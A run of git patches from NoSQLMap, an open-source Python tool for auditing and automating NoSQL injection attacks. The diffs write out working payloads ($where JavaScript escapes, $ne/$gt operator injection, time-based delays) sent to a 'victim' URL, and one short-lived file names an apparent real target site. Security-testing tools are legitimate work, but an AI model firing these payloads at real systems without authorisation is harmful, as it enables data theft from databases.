 Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).

From 53789fd78f1d8ebea5d2dce0253f25540cc8a678 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 13:54:13 +1000
Subject: [PATCH 28/68] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 5db974f..c3c5174 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,7 @@
 NoSQLMap 
 ========
 [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) 
-[![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING)
+[![License](https://img.shields.io/badge/license-GPLv3-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING)
 [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_)
 
 NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.

From 61574751c333e4782a62d0e610f8f427624accc0 Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 15:41:46 +1000
Subject: [PATCH 29/68] Minimalising banner

---
 nosqlmap.py | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index 510141f..1885ab8 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -55,16 +55,11 @@ def mainMenu():
     mmSelect = True
     while mmSelect:
         os.system('clear')
-        print "===================================================="
-        print " _   _       _____  _____ _     ___  ___            "
-        print "| \ | |     /  ___||  _  | |    |  \/  |            "
-        print "|  \| | ___ \ `--. | | | | |    | .  . | __ _ _ __  "
-        print "| . ` |/ _ \ `--. \| | | | |    | |\/| |/ _` | '_ \ "
-        print "| |\  | (_) /\__/ /\ \/' / |____| |  | | (_| | |_) |"
-        print "\_| \_/\___/\____/  \_/\_\_____/\_|  |_/\__,_| .__/"
-        print "===================================================="
-        print "NoSQLMap-v0.7"
-        print "codingo@protonmail.com"
+        print " _  _     ___  ___  _    __  __           "
+        print "| \| |___/ __|/ _ \| |  |  \/  |__ _ _ __ "
+        print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \"
+        print "|_|\_\___/___/\__\_\____|_|  |_\__,_| .__/"
+        print " v0.7 codingo@protonmail.com        |_|   "
         print "\n"
         print "1-Set options"
         print "2-NoSQL DB Access Attacks"

From 43e44d02c02ad1049dbf8fafc3355e924192d4a2 Mon Sep 17 00:00:00 2001
From: Michael Skelton <michaelskelton@cancerqld.org.au>
Date: Thu, 14 Sep 2017 14:59:50 +1000
Subject: [PATCH 30/68] Update .gitignore

---
 .gitignore      |   1 +
 .vs/slnx.sqlite | Bin 0 -> 73728 bytes
 2 files changed, 1 insertion(+)
 create mode 100644 .vs/slnx.sqlite

diff --git a/.gitignore b/.gitignore
index 5f6726b..445bc6e 100644
--- a/.gitignore
+++ b/.gitignore
@@ -222,3 +222,4 @@ pip-log.txt
 *.iml
 *.pyproj
 *.sln
+/.vs/ProjectSettings.json
diff --git a/.vs/slnx.sqlite b/.vs/slnx.sqlite
new file mode 100644
index 0000000000000000000000000000000000000000..60f908661cb579829481c1dd9fddc6ccbfd91b9f
GIT binary patch

From ae0b461c01c0d5bfdc2f7dd5a56fee40329e59b6 Mon Sep 17 00:00:00 2001
From: Michael <886344+codingo@users.noreply.github.com>
Date: Thu, 14 Sep 2017 15:02:03 +1000
Subject: [PATCH 31/68] Delete slnx.sqlite

---
 .vs/slnx.sqlite | Bin 73728 -> 0 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 .vs/slnx.sqlite

diff --git a/.vs/slnx.sqlite b/.vs/slnx.sqlite
deleted file mode 100644
index 60f908661cb579829481c1dd9fddc6ccbfd91b9f..0000000000000000000000000000000000000000
GIT binary patch

From b33ec8444ff0f67951f27842c7a0a5c813cc46d9 Mon Sep 17 00:00:00 2001
From: abdilahrf <abdilah.pb@gmail.com>
Date: Sat, 23 Sep 2017 19:33:26 +0700
Subject: [PATCH 32/68] Use Urllib Quote for parameter value

---
 nosqlmap.py | 11 ++++++-----
 nsmweb.py   | 28 ++++++++++++++--------------
 prison      |  2 ++
 3 files changed, 22 insertions(+), 19 deletions(-)
 create mode 100644 prison

diff --git a/nosqlmap.py b/nosqlmap.py
index 1885ab8..d7df2da 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -1,3 +1,4 @@
+# -*- coding: utf-8 -*-
 #!/usr/bin/python
 # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
 # See the file 'doc/COPYING' for copying permission
@@ -55,11 +56,11 @@ def mainMenu():
     mmSelect = True
     while mmSelect:
         os.system('clear')
-        print " _  _     ___  ___  _    __  __           "
-        print "| \| |___/ __|/ _ \| |  |  \/  |__ _ _ __ "
-        print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \"
-        print "|_|\_\___/___/\__\_\____|_|  |_\__,_| .__/"
-        print " v0.7 codingo@protonmail.com        |_|   "
+        print " _  _     ___  ___  _    __  __           "
+        print "| \| |___/ __|/ _ \| |  |  \/  |__ _ _ __ "
+        print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \\"
+        print("|_|\_\___/___/\__\_\____|_|  |_\__,_| .__/")
+        print(" v0.7 codingo@protonmail.com        |_|   ")
         print "\n"
         print "1-Set options"
         print "2-NoSQL DB Access Attacks"
diff --git a/nsmweb.py b/nsmweb.py
index 3c99ed0..167de1e 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -915,24 +915,24 @@ def buildUri(origUri, randValue):
         if paramName[x] in injOpt:
             uriArray[0] += paramName[x] + "=" + randValue + "&"
             uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&"
-            uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
-            uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&"
-            uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
-            uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&"
-            uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
-            uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
+            uriArray[2] += paramName[x] + "=" + urllib.quote("a'; return db.a.find(); var dummy='!") + "&"
+            uriArray[3] += paramName[x] + "=" + urllib.quote("1; return db.a.find(); var dummy=1") + "&"
+            uriArray[4] += paramName[x] + "=" + urllib.quote("a'; return db.a.findOne(); var dummy='!") + "&"
+            uriArray[5] += paramName[x] + "=" + urllib.quote("1; return db.a.findOne(); var dummy=1") + "&"
+            uriArray[6] += paramName[x] + "=" + urllib.quote("a'; return this.a != '" + randValue + "'; var dummy='!") + "&"
+            uriArray[7] += paramName[x] + "=" + urllib.quote("1; return this.a !=" + randValue + "; var dummy=1") + "&"
             uriArray[8] += paramName[x] + "[$gt]=&"
-            uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
-            uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&"
-            uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&"
-            uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&"
-            uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&"
-            uriArray[14] += paramName[x] + "a'; return true; var dum='a"
+            uriArray[9] += paramName[x] + "=" + urllib.quote("1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1") + "&"
+            uriArray[10] += paramName[x] + "=" + urllib.quote("a\"; return db.a.find(); var dummy='!") + "&"
+            uriArray[11] += paramName[x] + "=" + urllib.quote("a\"; return this.a != '" + randValue + "'; var dummy='!") + "&"
+            uriArray[12] += paramName[x] + "=" + urllib.quote("a\"; return db.a.findOne(); var dummy=\"!") + "&"
+            uriArray[13] += paramName[x] + "=" + urllib.quote("a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!") + "&"
+            uriArray[14] += paramName[x] + urllib.quote("a'; return true; var dum='a")
             uriArray[15] += paramName[x] + "1; return true; var dum=2"
             #Add values that can be manipulated for database attacks
-            uriArray[16] += paramName[x] + "=a\'; ---"
+            uriArray[16] += paramName[x] + "=" + urllib.quote("a\'; ---")
             uriArray[17] += paramName[x] + "=1; if ---"
-            uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
+            uriArray[18] += paramName[x] + "=" + urllib.quote("a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!") + "&"
 
         else:
             uriArray[0] += paramName[x] + "=" + paramValue[x] + "&"
diff --git a/prison b/prison
new file mode 100644
index 0000000..1c9da3a
--- /dev/null
+++ b/prison
@@ -0,0 +1,2 @@
+prison-commissary.mysterious-hashes.net,80,/panda.php?id=1,GET,Not Set,Not Set,ON,OFF,
+{}
\ No newline at end of file

From 71bcf456ba6c3380050a98bf33ad0074dd85f461 Mon Sep 17 00:00:00 2001
From: Michael <886344+codingo@users.noreply.github.com>
Date: Tue, 26 Sep 2017 11:14:11 +1000
Subject: [PATCH 33/68] Update prison

---
 prison | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/prison b/prison
index 1c9da3a..8b13789 100644
--- a/prison
+++ b/prison
@@ -1,2 +1 @@
-prison-commissary.mysterious-hashes.net,80,/panda.php?id=1,GET,Not Set,Not Set,ON,OFF,
-{}
\ No newline at end of file
+

From 98021fca70ff69e2f64e913a040538606723a4ba Mon Sep 17 00:00:00 2001
From: Michael <886344+codingo@users.noreply.github.com>
Date: Tue, 26 Sep 2017 11:15:08 +1000
Subject: [PATCH 34/68] Delete prison

---
 prison | 1 -
 1 file changed, 1 deletion(-)
 delete mode 100644 prison

diff --git a/prison b/prison
deleted file mode 100644
index 8b13789..0000000
--- a/prison
+++ /dev/null
@@ -1 +0,0 @@
-

From 6c9fbe954cee594acc94472f1c7559c4cd3959cf Mon Sep 17 00:00:00 2001
From: Sudhanshu Chauhan <sudhanshuchauhan007@yahoo.com>
Date: Tue, 26 Sep 2017 17:19:57 +0530
Subject: [PATCH 35/68] Update nsmweb.py

---
 nsmweb.py | 54 +++++++++++++++++++-----------------------------------
 1 file changed, 19 insertions(+), 35 deletions(-)

diff --git a/nsmweb.py b/nsmweb.py
index 167de1e..4dd77c8 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -133,6 +133,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
         else:
             print "Test 2: $where injection (string escape)"
 
+        print uriArray[2]
         req = urllib2.Request(uriArray[2], None, requestHeaders)
         errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
 
@@ -890,49 +891,31 @@ def buildUri(origUri, randValue):
         return
 
     x = 0
-    uriArray[0] = split_uri[0] + "?"
-    uriArray[1] = split_uri[0] + "?"
-    uriArray[2] = split_uri[0] + "?"
-    uriArray[3] = split_uri[0] + "?"
-    uriArray[4] = split_uri[0] + "?"
-    uriArray[5] = split_uri[0] + "?"
-    uriArray[6] = split_uri[0] + "?"
-    uriArray[7] = split_uri[0] + "?"
-    uriArray[8] = split_uri[0] + "?"
-    uriArray[9] = split_uri[0] + "?"
-    uriArray[10] = split_uri[0] + "?"
-    uriArray[11] = split_uri[0] + "?"
-    uriArray[12] = split_uri[0] + "?"
-    uriArray[13] = split_uri[0] + "?"
-    uriArray[14] = split_uri[0] + "?"
-    uriArray[15] = split_uri[0] + "?"
-    uriArray[16] = split_uri[0] + "?"
-    uriArray[17] = split_uri[0] + "?"
-    uriArray[18] = split_uri[0] + "?"
+
 
     for item in paramName:
 
         if paramName[x] in injOpt:
             uriArray[0] += paramName[x] + "=" + randValue + "&"
             uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&"
-            uriArray[2] += paramName[x] + "=" + urllib.quote("a'; return db.a.find(); var dummy='!") + "&"
-            uriArray[3] += paramName[x] + "=" + urllib.quote("1; return db.a.find(); var dummy=1") + "&"
-            uriArray[4] += paramName[x] + "=" + urllib.quote("a'; return db.a.findOne(); var dummy='!") + "&"
-            uriArray[5] += paramName[x] + "=" + urllib.quote("1; return db.a.findOne(); var dummy=1") + "&"
-            uriArray[6] += paramName[x] + "=" + urllib.quote("a'; return this.a != '" + randValue + "'; var dummy='!") + "&"
-            uriArray[7] += paramName[x] + "=" + urllib.quote("1; return this.a !=" + randValue + "; var dummy=1") + "&"
+            uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
+            uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&"
+            uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
+            uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&"
+            uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
+            uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
             uriArray[8] += paramName[x] + "[$gt]=&"
-            uriArray[9] += paramName[x] + "=" + urllib.quote("1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1") + "&"
-            uriArray[10] += paramName[x] + "=" + urllib.quote("a\"; return db.a.find(); var dummy='!") + "&"
-            uriArray[11] += paramName[x] + "=" + urllib.quote("a\"; return this.a != '" + randValue + "'; var dummy='!") + "&"
-            uriArray[12] += paramName[x] + "=" + urllib.quote("a\"; return db.a.findOne(); var dummy=\"!") + "&"
-            uriArray[13] += paramName[x] + "=" + urllib.quote("a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!") + "&"
-            uriArray[14] += paramName[x] + urllib.quote("a'; return true; var dum='a")
+            uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
+            uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&"
+            uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&"
+            uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&"
+            uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&"
+            uriArray[14] += paramName[x] + "a'; return true; var dum='a"
             uriArray[15] += paramName[x] + "1; return true; var dum=2"
             #Add values that can be manipulated for database attacks
-            uriArray[16] += paramName[x] + "=" + urllib.quote("a\'; ---")
+            uriArray[16] += paramName[x] + "=a\'; ---"
             uriArray[17] += paramName[x] + "=1; if ---"
-            uriArray[18] += paramName[x] + "=" + urllib.quote("a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!") + "&"
+            uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
 
         else:
             uriArray[0] += paramName[x] + "=" + paramValue[x] + "&"
@@ -959,7 +942,9 @@ def buildUri(origUri, randValue):
     #Clip the extra & off the end of the URL
     x = 0
     while x <= 18:
-        uriArray[x]= uriArray[x][:-1]
+#        uriArray[x]= uriArray[x][:-1]
+        uriArray[x]=split_uri[0]+"?"+urllib.quote_plus(uriArray[x][:-1])
+
         x += 1
 
     return uriArray[0]
@@ -1193,4 +1178,3 @@ def getDBInfo():
         crackHash = raw_input("Crack another hash (y/n)?")
     raw_input("Press enter to continue...")
     return
-

From 8c1fe3507cc718c36ff62b27a2789d83fa62fccb Mon Sep 17 00:00:00 2001
From: Michael <886344+codingo@users.noreply.github.com>
Date: Wed, 11 Oct 2017 11:55:48 +1000
Subject: [PATCH 36/68] Create nop

---
 docs/nop | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 docs/nop

diff --git a/docs/nop b/docs/nop
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/docs/nop
@@ -0,0 +1 @@
+

From 0c642e3e42f61c05c816b20f4d76a523cbace5be Mon Sep 17 00:00:00 2001
From: Michael <886344+codingo@users.noreply.github.com>
Date: Wed, 11 Oct 2017 11:56:20 +1000
Subject: [PATCH 37/68] Set theme jekyll-theme-cayman

---
 docs/_config.yml | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 docs/_config.yml

diff --git a/docs/_config.yml b/docs/_config.yml
new file mode 100644
index 0000000..c419263
--- /dev/null
+++ b/docs/_config.yml
@@ -0,0 +1 @@
+theme: jekyll-theme-cayman
\ No newline at end of file

From 5dc778abe48009f20ca1eb59d8036176527949ad Mon Sep 17 00:00:00 2001
From: Andres Riancho <andres.riancho@gmail.com>
Date: Fri, 20 Oct 2017 17:36:28 -0300
Subject: [PATCH 38/68] Better error handling for web applications which
 respond with non-200 codes

---
 nsmweb.py | 112 ++++++++++++++++++++++++++++--------------------------
 1 file changed, 59 insertions(+), 53 deletions(-)

diff --git a/nsmweb.py b/nsmweb.py
index 4dd77c8..f38725e 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -58,7 +58,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
         req = urllib2.Request(appURL, None, requestHeaders)
         appRespCode = urllib2.urlopen(req).getcode()
         if appRespCode == 200:
-            normLength = int(len(urllib2.urlopen(req).read()))
+            normLength = int(len(getResponseBodyHandlingErrors(req)))
             timeReq = urllib2.urlopen(req)
             start = time.time()
             page = timeReq.read()
@@ -86,7 +86,6 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
         print "Using " + injectString + " for injection testing.\n"
 
         # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
-        # Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
         if "?" not in appURL:
             print "No URI parameters provided for GET request...Check your options.\n"
             raw_input("Press enter to continue...")
@@ -101,7 +100,9 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
         else:
             print "Sending random parameter value..."
 
-        randLength = int(len(urllib2.urlopen(req).read()))
+        responseBody = getResponseBodyHandlingErrors(req)
+        randLength = int(len(responseBody))
+
         print "Got response length of " + str(randLength) + "."
         randNormDelta = abs(normLength - randLength)
 
@@ -117,10 +118,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
 
         # Test for errors returned by injection
         req = urllib2.Request(uriArray[1], None, requestHeaders)
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,None)
             testNum += 1
         else:
@@ -135,11 +136,11 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
 
         print uriArray[2]
         req = urllib2.Request(uriArray[2], None, requestHeaders)
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,None)
             testNum += 1
 
@@ -154,11 +155,11 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
             print "Test 3:  $where injection (integer escape)"
 
         req = urllib2.Request(uriArray[3], None, requestHeaders)
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,None)
             testNum +=1
 
@@ -174,10 +175,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
             print "Test 4: $where injection string escape (single record)"
 
         req = urllib2.Request(uriArray[4], None, requestHeaders)
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,None)
             testNum += 1
         else:
@@ -191,10 +192,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
             print "Test 5: $where injection integer escape (single record)"
 
         req = urllib2.Request(uriArray[5], None, requestHeaders)
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,None)
             testNum +=1
 
@@ -209,10 +210,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
             print "Test 6: This != injection (string escape)"
 
         req = urllib2.Request(uriArray[6], None, requestHeaders)
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,None)
             testNum += 1
         else:
@@ -226,10 +227,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
             print "Test 7: This != injection (integer escape)"
 
         req = urllib2.Request(uriArray[7], None, requestHeaders)
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,None)
             testNum += 1
         else:
@@ -244,10 +245,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
             print "Test 8: PHP/ExpressJS > Undefined Injection"
 
         req = urllib2.Request(uriArray[8], None, requestHeaders)
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,None)
             testNum += 1
 
@@ -258,10 +259,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
             print "Starting Javascript string escape time based injection..."
             req = urllib2.Request(uriArray[18], None, requestHeaders)
             start = time.time()
-            strTimeInj = urllib2.urlopen(req)
-            page = strTimeInj.read()
+            page = getResponseBodyHandlingErrors(req)
             end = time.time()
-            strTimeInj.close()
             #print str(end)
             #print str(start)
             strTimeDelta = (int(round((end - start), 3)) - timeBase)
@@ -277,10 +276,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
             print "Starting Javascript integer escape time based injection..."
             req = urllib2.Request(uriArray[9], None, requestHeaders)
             start = time.time()
-            intTimeInj = urllib2.urlopen(req)
-            page = intTimeInj.read()
+            page = getResponseBodyHandlingErrors(req)
             end = time.time()
-            intTimeInj.close()
             #print str(end)
             #print str(start)
             intTimeDelta = (int(round((end - start), 3)) - timeBase)
@@ -348,6 +345,15 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
     return()
 
 
+def getResponseBodyHandlingErrors(req):
+    try:
+        responseBody = urllib2.urlopen(req).read()
+    except urllib2.HTTPError, err:
+        responseBody = err.read()
+    
+    return responseBody
+
+
 def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
     print "Web App Attacks (POST)"
     print "==============="
@@ -386,7 +392,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
 
         if appRespCode == 200:
 
-            normLength = int(len(urllib2.urlopen(req).read()))
+            normLength = int(len(getResponseBodyHandlingErrors(req)))
             timeReq = urllib2.urlopen(req)
             start = time.time()
             page = timeReq.read()
@@ -438,7 +444,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
 
         body = urllib.urlencode(postData)
         req = urllib2.Request(appURL,body, requestHeaders)
-        randLength = int(len(urllib2.urlopen(req).read()))
+        randLength = int(len(getResponseBodyHandlingErrors(req)))
         print "Got response length of " + str(randLength) + "."
 
         randNormDelta = abs(normLength - randLength)
@@ -460,10 +466,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         else:
             print "Test 1: PHP/ExpressJS != associative array injection"
 
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,postData)
             testNum += 1
 
@@ -487,10 +493,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         else:
             print "Test 2:  PHP/ExpressJS > Undefined Injection"
 
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,postData)
             testNum += 1
 
@@ -504,10 +510,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         else:
             print "Test 3: $where injection (string escape)"
 
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,postData)
             testNum += 1
         else:
@@ -524,10 +530,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         else:
             print "Test 4: $where injection (integer escape)"
 
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,postData)
             testNum += 1
         else:
@@ -545,10 +551,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         else:
             print "Test 5: $where injection string escape (single record)"
 
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,postData)
             testNum += 1
 
@@ -566,10 +572,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         else:
             print "Test 6: $where injection integer escape (single record)"
 
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,postData)
             testNum += 1
 
@@ -588,10 +594,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         else:
             print "Test 7: This != injection (string escape)"
 
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,postData)
             testNum += 1
             print "\n"
@@ -608,10 +614,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         else:
             print "Test 8:  This != injection (integer escape)"
 
-        errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+        errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
 
         if errorCheck == False:
-            injLen = int(len(urllib2.urlopen(req).read()))
+            injLen = int(len(getResponseBodyHandlingErrors(req)))
             checkResult(randLength,injLen,testNum,verb,postData)
